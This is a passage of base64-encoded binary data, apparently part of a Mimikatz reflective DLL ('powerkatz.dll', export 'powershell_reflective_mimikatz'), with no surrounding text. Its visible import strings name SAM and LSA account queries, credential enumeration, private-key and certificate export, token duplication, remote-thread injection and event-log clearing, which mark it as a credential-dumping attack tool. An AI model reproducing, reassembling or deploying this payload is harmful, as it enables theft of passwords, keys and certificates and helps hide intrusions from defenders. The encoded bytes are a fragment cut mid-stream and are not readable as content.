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dmVydFN0cmluZ1NpZFRvU2lkVwAAlABDcnlwdEV4cG9ydEtleQAAhgBDcnlwdEFjcXVpcmVDb250ZXh0VwAAmgBDcnlwdEdldEtleVBhcmFtAACgAENyeXB0UmVsZWFzZUNvbnRleHQAkwBDcnlwdEVudW1Qcm92aWRlcnNXAJsAQ3J5cHRHZXRQcm92UGFyYW0AjABDcnlwdERlc3Ryb3lLZXkAnABDcnlwdEdldFVzZXJLZXkAqwFPcGVuRXZlbnRMb2dXAAQBR2V0TnVtYmVyT2ZFdmVudExvZ1JlY29yZHMAADoAQ2xlYXJFdmVudExvZ1cAAGUAQ3JlYXRlU2VydmljZVcAAEMCU2V0U2VydmljZU9iamVjdFNlY3VyaXR5AAAqAEJ1aWxkU2VjdXJpdHlEZXNjcmlwdG9yVwAAwgFRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAHQBBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAAOIARnJlZVNpZACZAENyeXB0R2V0SGFzaFBhcmFtAKIAQ3J5cHRTZXRLZXlQYXJhbQAAcAJTeXN0ZW1GdW5jdGlvbjAzMgBVAlN5c3RlbUZ1bmN0aW9uMDA1AJ8AQ3J5cHRJbXBvcnRLZXkAAGkCU3lzdGVtRnVuY3Rpb24wMjUAiABDcnlwdENyZWF0ZUhhc2gAiQBDcnlwdERlY3J5cHQAAIsAQ3J5cHREZXN0cm95SGFzaAAAZAFMc2FGcmVlTWVtb3J5AJ0AQ3J5cHRIYXNoRGF0YQCxAU9wZW5UaHJlYWRUb2tlbgBFAlNldFRocmVhZFRva2VuAAC0AER1cGxpY2F0ZVRva2VuRXgAADgAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAGwAQ3JlZEZyZWUAAGsAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAAdQBDcnlwdEJpbmFyeVRvU3RyaW5nVwAAcwBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkARgBDZXJ0R2V0TmFtZVN0cmluZ1cAAFAAQ2VydE9wZW5TdG9yZQA8AENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AAAEAENlcnRBZGRDZXJ0aWZpY2F0ZUNvbnRleHRUb1N0b3JlAAAPAENlcnRDbG9zZVN0b3JlAABBAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQApAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQAsAENlcnRFbnVtU3lzdGVtU3RvcmUAAwFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAQ1JZUFQzMi5kbGwABQBDRExvY2F0ZUNTeXN0ZW0ABABDREdlbmVyYXRlUmFuZG9tQml0cwAABgBDRExvY2F0ZUNoZWNrU3VtAAALAE1ENUZpbmFsAAANAE1ENVVwZGF0ZQAMAE1ENUluaXQAY3J5cHRkbGwuZGxsAAABAERzQWRkU2lkSGlzdG9yeVcAAAUARHNCaW5kVwBdAERzVW5CaW5kVwBOVERTQVBJLmRsbABOAFBhdGhJc1JlbGF0aXZlVwAiAFBhdGhDYW5vbmljYWxpemVXACQAUGF0aENvbWJpbmVXAABTSExXQVBJLmRsbAAmAFNhbVF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAYAU2FtQ2xvc2VIYW5kbGUAABQAU2FtRnJlZU1lbW9yeQATAFNhbUVudW1lcmF0ZVVzZXJzSW5Eb21haW4AIQBTYW1PcGVuVXNlcgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgAHAFNhbUNvbm5lY3QAABEAU2FtRW51bWVyYXRlRG9tYWluc0luU2FtU2VydmVyAAAYAFNhbUdldEdyb3Vwc0ZvclVzZXIALABTYW1SaWRUb1NpZAAbAFNhbUxvb2t1cERvbWFpbkluU2FtU2VydmVyAAAVAFNhbUdldEFsaWFzTWVtYmVyc2hpcABTQU1MSUIuZGxsAAAoAExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAJQBMc2FGcmVlUmV0dXJuQnVmZmVyACMATHNhRGVyZWdpc3RlckxvZ29uUHJvY2VzcwAiAExzYUNvbm5lY3RVbnRydXN0ZWQAIQBMc2FDYWxsQXV0aGVudGljYXRpb25QYWNrYWdlAABTZWN1cjMyLmRsbAAHAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAmwFJc0NoYXJBbHBoYU51bWVyaWNXAFVTRVIzMi5kbGwAAAUATUQ0VXBkYXRlAAMATUQ0RmluYWwAAAQATUQ0SW5pdABhZHZhcGkzMi5kbGwAABQAUnRsVW5pY29kZVN0cmluZ1RvQW5zaVN0cmluZwAADQBSdGxGcmVlQW5zaVN0cmluZwASAFJ0bEluaXRVbmljb2RlU3RyaW5nAAAMAFJ0bEVxdWFsVW5pY29kZVN0cmluZwABAE50UXVlcnlPYmplY3QAAgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AAA8AUnRsR2V0Q3VycmVudFBlYgAAAABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAAkAUnRsQ3JlYXRlVXNlclRocmVhZAATAFJ0bFN0cmluZ0Zyb21HVUlEAA4AUnRsRnJlZVVuaWNvZGVTdHJpbmcAABAAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAAFgBSdGxVcGNhc2VVbmljb2RlU3RyaW5nAAAIAFJ0bEFwcGVuZFVuaWNvZGVTdHJpbmdUb1N0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABABOdFN1c3BlbmRQcm9jZXNzAAAFAE50VGVybWluYXRlUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAI0DVmlydHVhbFByb3RlY3QAAF0DU2xlZXAAyABGaWxlVGltZVRvU3lzdGVtVGltZQAAVAJMb2NhbEFsbG9jAABYAkxvY2FsRnJlZQCrA1dyaXRlRmlsZQCxAlJlYWRGaWxlAABZAENyZWF0ZUZpbGVXAPEARmx1c2hGaWxlQnVmZmVycwAAZwFHZXRGaWxlU2l6ZUV4AEQBR2V0Q3VycmVudERpcmVjdG9yeVcAADYAQ2xvc2VIYW5kbGUARQFHZXRDdXJyZW50UHJvY2VzcwCCAk9wZW5Qcm9jZXNzAHMBR2V0TGFzdEVycm9yAACWAER1cGxpY2F0ZUhhbmRsZQCNAERldmljZUlvQ29udHJvbAAjA1NldEZpbGVQb2ludGVyAACPA1ZpcnR1YWxRdWVyeQAAigNWaXJ0dWFsRnJlZQCQA1ZpcnR1YWxRdWVyeUV4AACLA1ZpcnR1YWxGcmVlRXgAtAJSZWFkUHJvY2Vzc01lbW9yeQCIA1ZpcnR1YWxBbGxvYwAAjgNWaXJ0dWFsUHJvdGVjdEV4AACJA1ZpcnR1YWxBbGxvY0V4AAC0A1dyaXRlUHJvY2Vzc01lbW9yeQAAZAJNYXBWaWV3T2ZGaWxlAHgDVW5tYXBWaWV3T2ZGaWxlAFgAQ3JlYXRlRmlsZU1hcHBpbmdXAABbAkxvY2FsUmVBbGxvYwAAbABDcmVhdGVQcm9jZXNzVwAALwNTZXRMYXN0RXJyb3IAAJcDV2FpdEZvclNpbmdsZU9iamVjdABtAENyZWF0ZVJlbW90ZVRocmVhZAAASwFHZXREYXRlRm9ybWF0VwAA4wFHZXRUaW1lRm9ybWF0VwAAxwBGaWxlVGltZVRvTG9jYWxGaWxlVGltZQDYAEZpbmRGaXJzdEZpbGVXAADMAUdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAGQBR2V0RmlsZUF0dHJpYnV0ZXNXAADRAEZpbmRDbG9zZQDgAEZpbmROZXh0RmlsZVcA+wBGcmVlTGlicmFyeQBRAkxvYWRMaWJyYXJ5VwAAogFHZXRQcm9jQWRkcmVzcwAAhAFHZXRNb2R1bGVIYW5kbGVXAAD5AlNldENvbnNvbGVDdXJzb3JQb3NpdGlvbgAAuwFHZXRTdGRIYW5kbGUAAMsARmlsbENvbnNvbGVPdXRwdXRDaGFyYWN0ZXJXADoBR2V0Q29uc29sZVNjcmVlbkJ1ZmZlckluZm8AABIDU2V0Q3VycmVudERpcmVjdG9yeVcAAEgBR2V0Q3VycmVudFRocmVhZAAARgFHZXRDdXJyZW50UHJvY2Vzc0lkAEtFUk5FTDMyLmRsbAAABAVfdnNjd3ByaW50ZgBaBXdjc3JjaHIAUQV3Y3NjaHIAAAcFX3djc2ljbXAAAPoEX3N0cmljbXAAAAkFX3djc25pY21wAFwFd2Nzc3RyAABfBXdjc3RvdWwAXQV3Y3N0b2wAAAoFX3djc3RvdWk2NAAA9gBfZXJybm8AAOAEdmZ3cHJpbnRmACcEZmZsdXNoAACxA193Zm9wZW4ADAFfZmlsZW5vAG8BX2lvYgAAJARmY2xvc2UAADoEZnJlZQAAdANfd2NzZHVwAG1zdmNydC5kbGwAAIAEbWVtY3B5AACEBG1lbXNldAAAUwBfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAUgBfWGNwdEZp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